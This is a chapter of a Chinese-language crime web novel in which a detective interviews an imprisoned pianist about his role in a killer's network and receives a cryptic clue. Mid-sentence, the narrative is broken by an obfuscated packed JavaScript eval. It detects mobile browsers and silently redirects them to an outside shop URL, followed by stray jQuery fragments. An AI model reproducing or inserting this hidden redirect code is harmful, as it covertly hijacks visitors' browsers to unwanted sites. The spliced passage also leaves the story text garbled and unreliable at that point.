文趣网 > 都市小说 > 鏡像獵人 > 47. 監獄裡的鋼琴家
    菲利普?格雷被關在灰港市以西六十公里的一所州立監獄裡。不是最高安全級別的那種,沒有電網,沒有崗哨,圍牆也不高。遠遠看去像一所寄宿學校,只是窗戶更小、鐵欄杆更密、門前的車道更長。艾莉絲把車停在停車場,在入口處出示證件,交出槍和手機,跟著獄警走過兩道金屬門。

    會面室不像醫院的會客室那麼冷,也不像拘留所那麼暗。牆壁是淡綠色的,地板是磨石子,桌椅是淺木色的。窗戶很高,外面是鐵絲網和一小片灰色的天空。菲利普已經在裡面了。他穿著深藍色的囚服,頭髮比上次見面時長了一些,鬢角冒出白髮。臉還是那樣瘦,顴骨還是那樣高。但眼神不同了。在聖塞西莉亞音樂廳被捕時,他的眼神是空洞的、絕望的、像一盞即將熄滅的燈。現在那盞燈又亮了一點,不是希望,是困惑。他不明白自己為什麼又被叫來。

    他看到艾莉絲,沒有說話,也沒有問她來做什麼。他只是一直看著她,像看著一張他讀不懂的樂譜。

    艾莉絲在他對面坐下。從背包裡拿出那張照片,放在桌上。菲利普低頭看了一眼。那雙曾經在琴鍵上飛舞的手,放在膝蓋上,沒有動。

    “這是什麼時候拍的?”她問。

    沉默。

    “菲利普。這是什麼時候拍的?”

    他低下頭,看著那張照片。年輕的自己,年輕的朱利安,站在一起,都在笑。那時候他們還不知道以後會發生什麼。或者他們已經知道了,只是不知道那會把自己帶到哪裡。

    “大學。”他說。聲音很低,像從很深的井底傳上來。“朱利安來我們學校演講。關於音樂治療。”

    “你們怎麼認識的?”

    “他演講完之後來找我。他說他聽過我的錄音。蕭邦的夜曲。他說他很少聽到有人彈得那麼……誠實。”

    “然後呢?”

    “然後我們開始通信。他寫信給我,我回信給他。他說他在醫院工作,每天面對很多痛苦的病人。音樂能幫助他們。”

    艾莉絲的手指在桌面下收緊。“他介紹你認識卡爾?”

    菲利普抬起頭。那雙深棕色的眼睛裡出現了恐懼。

    “他說有一個朋友,在做一些……有意義的事。需要一個場地。需要音樂。”

    “你提供了聖塞西莉亞。”

    “他提供的。”菲利普的聲音變輕。“他說那個音樂廳很久沒有人用了。很適合。不會有人發現。”

    “你們的通信持續了多久?”

    “很多年。從大學一直到……他被關進精神病院。”

    “通信的內容呢?”

    菲利普低下頭,看著自己的手。

    “他告訴我卡爾需要什麼。哪些場地可以用。哪些人不可以接觸。他沒有要求我殺人。他只是說,如果我不幫他,卡爾會找別人。”

    “你相信他?”

    “我不知道。”菲利普的聲音幾乎聽不見。“我那時候已經沒有舞台了。沒有人找我演出。沒有人記得我的名字。他給了我一個舞台。雖然觀眾不多,雖然沒有人知道策展人是誰。但至少有人聽我彈琴。”

    “你知道那些女孩會死。”

    “我知道。”

    “你做了什麼?”

    他抬起頭,那雙深棕色的眼睛裡沒有淚水。

    “我繼續彈琴。”

    會面室安靜下來。高處的窗戶透進一小片灰色的光,落在地板上,像一灘不流動的水。

    艾莉絲把那張照片收回背包。

    “菲利普。”

    “嗯。”

    “你不只是共犯。你是鏈的一部分。”

    他沒有否認。

    “我想見他。”他說。

    “誰?”

    “朱利安。”

    “他死了。”

    菲利普看著她。那雙深棕色的眼睛裡,那盞剛剛點亮的燈又暗了。

    “什麼時候?”

    “幾個月前。”

    他低下頭,雙手

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545429|204120||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    放在桌上。那雙手曾經可以彈出最溫柔的蕭邦,最激昂的李斯特,最複雜的巴赫。現在它們被銬在桌上,手指微微彎曲,像一個還沒寫完的句子。

    “他最後一次寫信給我,”菲利普說,“他說如果有一天妳來找我,要我告訴妳一句話。”

    艾莉絲的心跳加快。“什麼話?”

    “‘鏡子不只是用來看的。’”

    她盯著那張消瘦的臉。

    “這是什麼意思?”

    “我不知道。他只叫我告訴妳。”

    她站起身,把椅子推回去。會面室的門開了,獄警站在門口。菲利普抬起頭,看著她。

    “艾莉絲。”

    她停下腳步。

    “朱利安說妳會找到真正的源頭。”他說。“他說源頭不是一個人。是一種想法。”

    “什麼想法?”

    “有些人不需要被拯救。只需要被看見。”

    她走出會面室,門在身後關上。

    走廊很長,腳步聲迴盪。那句話在她腦中反覆播放,像一張跳針的唱片。

    有些人不需要被拯救。只需要被看見。

    她不知道那是什麼意思。但她知道,這是朱利安最後一次給她的線索。不是指向一個地點,不是指向一個人。是指向一種理解。

    她走出監獄,站在停車場。陽光從雲層縫隙中漏下來,在地上投下幾塊不規則的光斑。

    手機響了。丹尼。

    “那疊底片。我們全部沖洗出來了。”

    “多少張?”

    “四十七張。全部。”

    “有誰?”

    丹尼沉默了幾秒。

    “妳回來看。”

    艾莉絲沒有追問。她掛斷電話,上車,駛回灰港市。

    那些光斑在車窗外往後退,一個接一個,像路標,像提醒。

    她握著方向盤,握得很緊。

    鏈沒有斷。

    但她在學著看懂它的形狀。